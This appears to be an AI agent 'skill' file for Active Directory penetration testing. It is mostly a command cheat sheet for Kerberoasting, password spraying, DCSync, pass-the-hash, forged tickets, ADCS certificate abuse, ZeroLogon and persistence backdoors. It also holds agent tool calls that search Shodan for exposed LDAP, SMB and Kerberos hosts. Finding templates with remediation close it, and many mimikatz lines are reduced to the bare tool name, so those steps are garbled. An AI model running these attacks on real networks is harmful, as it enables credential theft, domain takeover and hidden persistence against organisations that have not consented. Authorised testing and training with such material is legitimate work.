| name | pentest-active-directory |
| description | Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation |
| type | skill |
| version | 1 |
| ptes-phases | 3.1, 4.1, 4.2, 4.4, 4.7, 4.9, 4.10, 5.1, 5.2 |
| tags | active-directory, kerberos, lateral-movement, privilege-escalation, adcs, bloodhound |
Active Directory Penetration Testing
Comprehensive Active Directory attack methodologies for OSCP+/OSEP preparation. Covers reconnaissance, credential attacks, lateral movement, persistence, and ADCS exploitation.
Quick Start
/ad-recon TARGET_DOMAIN
/ad-attacks --kerberoast
/ad-attacks --asreproast
/ad-attacks --dcsync
/adcs-enum
Phase 1: AD Reconnaissance
1.1 Initial Domain Information
whoami /user
echo %USERDOMAIN%
echo %LOGONSERVER%
Get-ADDomain
Get-ADDomainController
Get-ADForest
nltest /dclist:DOMAIN
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(objectClass=*)"
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(sAMAccountName=*)"
python3 windapsearch.py -d DOMAIN -u "" --dc-ip DC_IP -m FULL
1.2 BloodHound Enumeration
SharpHound.exe -c All -d DOMAIN -o output.zip
bloodhound-python -d DOMAIN -u USER -p PASS -c All -ns DC_IP
neo4j console
bloodhound
MATCH p=shortestPath((n)-[*1..]->(m:Group)) WHERE m.name ENDS WITH "DOMAIN ADMINS" RETURN p
MATCH (n:User {unconstraineddelegation:true}) RETURN n
MATCH (n:User {hasspn:true}) RETURN n
MATCH (n:User {dontreqpreauth:true}) RETURN n
1.3 CrackMapExec Enumeration
crackmapexec smb TARGET_IP -u USER -p PASS --shares
crackmapexec smb TARGET_IP -u USER -p PASS --sessions
crackmapexec smb TARGET_IP -u USER -p PASS --disks
crackmapexec smb TARGET_IP -u USER -p PASS --users
crackmapexec smb TARGET_IP -u USER -p PASS --groups
crackmapexec smb TARGET_IP -u USER -p PASS --local-groups
crackmapexec ldap TARGET_IP -u USER -p PASS --baseDN "DC=domain,DC=com" --search-filter "(objectClass=*)"
crackmapexec kerberos TARGET_IP -u USER -p PASS
crackmapexec winrm TARGET_IP -u USER -p PASS
crackmapexec mssql TARGET_IP -u USER -p PASS --query "SELECT @@version"
crackmapexec smb TARGET_IP -u USER -p PASS -M all
1.4 PowerView Enumeration
# Import PowerView
Import-Module ./PowerView.ps1
# Domain info
Get-NetDomain
Get-NetForest
Get-NetForestDomain
# Users
Get-NetUser -UserName "admin*"
Get-NetUser -Properties samaccountname,description,mail
Get-NetUser | Where-Object {$_.admincount -eq 1}
Get-NetUser | Where-Object {$_.hasspn -eq $true}
Get-NetUser | Where-Object {$_.dontreqpreauth -eq $true}
# Computers
Get-NetComputer
Get-NetComputer -OperatingSystem "*2019*"
Get-NetComputer -Unconstrained
# Groups
Get-NetGroup -GroupName "*admin*"
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"
# GPO
Get-NetGPO
Get-NetGPOGroup
# Shares
Find-DomainShare
Find-InterestingDomainShareFile
# Sessions
Find-DomainUserLocation
Find-DomainProcess -UserName "admin*"
Phase 2: Credential Attacks
2.1 Kerberoasting
Get-DomainUser -SPN | Request-SPTicket
Rubeus.exe kerberoast /output:hashes.txt
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
2.2 ASREPRoasting
Get-DomainUser -PreauthNotRequired
Rubeus.exe asreproast /format:hashcat /output:hashes.txt
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -request -outputfile hashes.txt
impacket-GetNPUsers DOMAIN/USER:PASS -request -outputfile hashes.txt
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
john --format=krb5asrep hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
2.3 Password Spraying
crackmapexec smb TARGET_IP -u users.txt -p 'Password123!'
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt
kerbrute userenum -d DOMAIN --dc DC_IP users.txt
kerbrute password_spray -d DOMAIN --dc DC_IP users.txt 'Password123!'
impacket-smbexec DOMAIN/USER:PASS@TARGET
impacket-psexec DOMAIN/USER:PASS@TARGET
nxc smb TARGET_IP -u users.txt -p 'Password123!' --continue-on-success
2.4 DCSync Attack
impacket-secretsdump DOMAIN/USER:PASS@DC_IP
impacket-secretsdump -dc-ip DC_IP DOMAIN/USER:PASS
mimikatz
mimikatz
mimikatz
Rubeus.exe misc::dcsync /user:krbtgt /domain:DOMAIN
crackmapexec smb DC_IP -u USER -p PASS -M secretsdump
Phase 3: Lateral Movement
3.1 Pass-the-Hash
impacket-psexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-smbexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/USER@TARGET
crackmapexec smb TARGET -u USER -H LM:NTLM
mimikatz
mimikatz
Rubeus.exe ptt /ticket:base64ticket
Rubeus.exe *asktgs /ticket:base64ticket /service:cifs/TARGET
3.2 Pass-the-Ticket
mimikatz
Rubeus.exe ptt /ticket:base64ticket
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/TARGET
3.3 Over-Pass-the-Hash
Rubeus.exe asktgs /user:USER /domain:DOMAIN /rc4:NTLMHASH /service:ldap/DC.DOMAIN
mimikatz
mimikatz
3.4 Golden Ticket
mimikatz
Rubeus.exe golden /dc:DC_IP /domain:DOMAIN /user:admin /sid:DOMAIN_SID /krbtgt:HASH /id:500 /service:krbtgt /ptt
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN admin
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass DOMAIN/admin@TARGET
3.5 Silver Ticket
mimikatz
Rubeus.exe silver /service:cifs/TARGET /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /ptt
3.6 Diamond Ticket
Rubeus.exe diamond /domain:DOMAIN /dc:DC_IP /user:admin /krbtgt:HASH /sid:DOMAIN_SID /ptt
Phase 4: ADCS Exploitation
4.1 ADCS Enumeration
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout
Certify.exe find /vulnerable
python3 getTGT.py -k -no-pass -dc-ip DC_IP DOMAIN/USER
python3 getST.py -spn ldap/DC.DOMAIN -impersonate admin -k -no-pass -dc-ip DC_IP DOMAIN/USER
certutil -template
certutil -config "" -ping
4.2 ESC1 - Misconfigured Certificate Template
certipy find -u USER@DOMAIN -p PASS -vulnerable
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN
certipy auth -pfx admin.pfx -dc-ip DC_IP
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN -dns DC_IP
4.3 ESC2 - Misconfigured Certificate Template (Any Purpose)
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN
certipy auth -pfx admin.pfx
4.4 ESC3 - Misconfigured Certificate Template (Enrollment Agent)
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'EnrollmentAgent'
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -on-behalf-of 'DOMAIN\admin' -pfx agent.pfx
4.5 ESC4 - Vulnerable Certificate Template ACLs
certipy template -u USER@DOMAIN -p PASS -template 'VULN-TEMPLATE' -add 'USER2'
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE'
4.6 ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'User' -upn admin@DOMAIN
certipy auth -pfx admin.pfx
4.7 ESC7 - Vulnerable PKI ACLs
certipy ca -u USER@DOMAIN -p PASS -ca 'CA-NAME' -add 'USER2'
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'Machine'
4.8 ESC8 - NTLM Relay to ADCS
impacket-ntlmrelayx -t http://DC_IP/certsrv -smb2support --adcs
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP
python3 EFSRPC.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP
certipy req -u TARGET$@DOMAIN -k -no-pass -ca 'CA-NAME' -template 'Machine'
certipy auth -pfx TARGET.pfx
Phase 5: Advanced Attacks
5.1 ZeroLogon (CVE-2020-1472)
impacket-netlogon DOMAIN/DC$@DC_IP -target-ip DC_IP
nxc smb DC_IP -u '' -p '' -M zerologon
impacket-secretsdump -just-dc DOMAIN/DC$@DC_IP
5.2 PetitPotam
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user USER
5.3 PrinterBug
python3 PrinterBug.py DOMAIN/USER:PASS@TARGET_IP DC_IP
python3 dementor.py -u USER -p PASS TARGET_IP DC_IP
5.4 Resource-Based Constrained Delegation (RBCD)
Get-DomainComputer -TrustedToAuth
PowerView: Set-DomainObject -Identity TARGET -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'='SID_OF_ATTACKER_COMPUTER'}
Rubeus.exe s4u /user:ATTACKER$ /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /altservice:cifs /ptt
Rubeus.exe s4u /user:ATTACKER$ /domain:DOMAIN /impersonate:admin /msdsspn:cifs/TARGET /ptt
5.5 Shadow Credentials
pywhisker -d DOMAIN -u USER -p PASS --target TARGET --action 'add'
Whisker.exe add /target:TARGET /domain:DOMAIN
certipy auth -pfx TARGET.pfx -dc-ip DC_IP
5.6 Constrained Delegation
Get-DomainUser -TrustedToAuth
Rubeus.exe s4u /user:DELEGUSER /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /ptt
5.7 Unconstrained Delegation
Get-DomainComputer -Unconstrained
mimikatz
Rubeus.exe monitor /interval:5 /filteruser:admin
5.8 GPO Abuse
Get-NetGPO
Get-NetGPOGroup
gpupdate /force
SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Vulnerable GPO" --UserAccount "DOMAIN\attacker"
5.9 ACL Attacks
net user TARGET NewPass123! /domain
net user TARGET NewPass123! /domain
5.10 Trust Attacks
Get-NetForestTrust
Get-NetDomainTrust
mimikatz
Phase 6: Persistence
6.1 Skeleton Key
mimikatz
mimikatz
crackmapexec smb TARGET -u USER -p 'mimikatz'
6.2 DSRM Backdoor
mimikatz
mimikatz
mimikatz
crackmapexec smb DC_IP -u admin -h HASH --local-auth
6.3 Custom SSP
mimikatz
6.4 AdminSDHolder
Add-DomainGroupMember -Identity 'CN=AdminSDHolder,CN=System,DC=domain,DC=com' -Members 'attacker'
6.5 DCShadow
mimikatz
mimikatz
mimikatz
Integration with AIRecon
pentestswarm-remote__start_campaign \
target="DOMAIN" \
scope="DOMAIN,DC_IP,10.0.0.0/24" \
objective="find all AD vulnerabilities and attack paths" \
mode="bugbounty"
pentestswarm-remote__get_campaign_findings campaign_id="xxx"
pentestswarm-remote__get_campaign_recon_summary campaign_id="xxx"
MCP Tools Integration
mcp__shodan__shodan_search query="port:389 LDAP" max_results=100
mcp__shodan__shodan_search query="port:445 SMB" max_results=100
mcp__shodan__shodan_search query="port:88 Kerberos" max_results=100
mcp__virustotal__get_domain_report domain="domain.com"
mcp__osint-remote__get_country_risk_signals query="country_name"
Finding Templates
Active Directory Certificate Services (AD CS) Misconfiguration
Severity: High/Critical
CVSS: 8.8
Description:
AD CS certificate templates are misconfigured allowing domain users to request certificates with arbitrary Subject Alternative Names (SAN), enabling authentication as any domain user including administrators.
Evidence:
- Template has
msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT
- Template has
msPKI-Enrollment-Flag set to 0 or doesn't require manager approval
- Low-privileged users have enroll permissions
Impact:
- Full domain compromise via Golden Ticket
- Persistence via certificate-based authentication
- Lateral movement to any system
Remediation:
- Remove
ENROLLEE_SUPPLIES_SUBJECT flag from templates
- Require manager approval for certificate requests
- Restrict enroll permissions to specific security groups
- Enable certificate revocation checking
Kerberoasting Vulnerability
Severity: High
CVSS: 7.5
Description:
Service accounts with SPNs configured use weak passwords that can be cracked offline after requesting TGS tickets.
Evidence:
- Users with
servicePrincipalName attribute set
- TGS tickets successfully requested and cracked
- Password complexity below 15 characters
Impact:
- Service account compromise
- Lateral movement to services using compromised accounts
- Potential domain admin access
Remediation:
- Use Group Managed Service Accounts (gMSA)
- Implement 25+ character random passwords
- Monitor for unusual TGS request patterns
- Enable Kerberos armoring
ASREPRoasting Vulnerability
Severity: High
CVSS: 7.5
Description:
Domain users have "Do not require Kerberos preauthentication" enabled, allowing offline password cracking.
Evidence:
- Users with
DONT_REQ_PREAUTH flag set
- ASREP hashes successfully requested
- Hashes cracked with dictionary attacks
Impact:
- User credential compromise
- Lateral movement opportunities
- Potential privilege escalation
Remediation:
- Disable "Do not require Kerberos preauthentication" for all users
- Implement strong password policies
- Monitor for unusual AS request patterns
Unconstrained Delegation
Severity: High
CVSS: 8.2
Description:
Computers configured with unconstrained delegation store TGTs in memory, allowing attackers with access to these systems to impersonate any user.
Evidence:
- Computers with
TRUSTED_FOR_DELEGATION flag
- TGTs found in LSASS memory
- High-privilege users authenticating to vulnerable systems
Impact:
- Full domain compromise via TGT theft
- Lateral movement to any system
- Persistence via Golden Ticket
Remediation:
- Remove unconstrained delegation configuration
- Implement constrained delegation with specific SPNs
- Protect DCs and high-value systems
- Monitor for TGT enumeration
Resource-Based Constrained Delegation (RBCD)
Severity: High
CVSS: 8.0
Description:
Attacker-controlled computer objects can be added to msDS-AllowedToActOnBehalfOfOtherIdentity on target systems, enabling S4U2Self/S4U2Proxy attacks.
Evidence:
- Non-admin users can create computer accounts (default: 10)
- Computer objects added to RBCD ACL
- S4U2Self tickets requested successfully
Impact:
- Lateral movement to any system with RBCD configured
- Code execution as SYSTEM
- Credential harvesting
Remediation:
- Restrict computer account creation to admins
- Audit
msDS-AllowedToActOnBehalfOfOtherIdentity attribute
- Implement LAPS for password management
- Monitor for new computer account creation
PTES Mapping
| PTES Phase | AD Technique | Command |
|---|
| 3.1 Threat Modeling | Attack path analysis | BloodHound cypher queries |
| 4.1 Vulnerability Analysis | Kerberoasting, ASREPRoast | GetUserSPNs.py, GetNPUsers.py |
| 4.2 Vulnerability Analysis | ADCS misconfigurations | certipy find |
| 4.4 Exploitation | DCSync | secretsdump.py |
| 4.7 Post-Exploitation | Pass-the-Hash | psexec.py -hashes |
| 4.9 Post-Exploitation | Golden Ticket | kerberos::golden |
| 4.10 Post-Exploitation | RBCD | Rubeus s4u |
| 5.1 Reporting | Finding documentation | Finding templates above |
| 5.2 Reporting | Remediation guidance | Per-finding remediation |
Additional Resources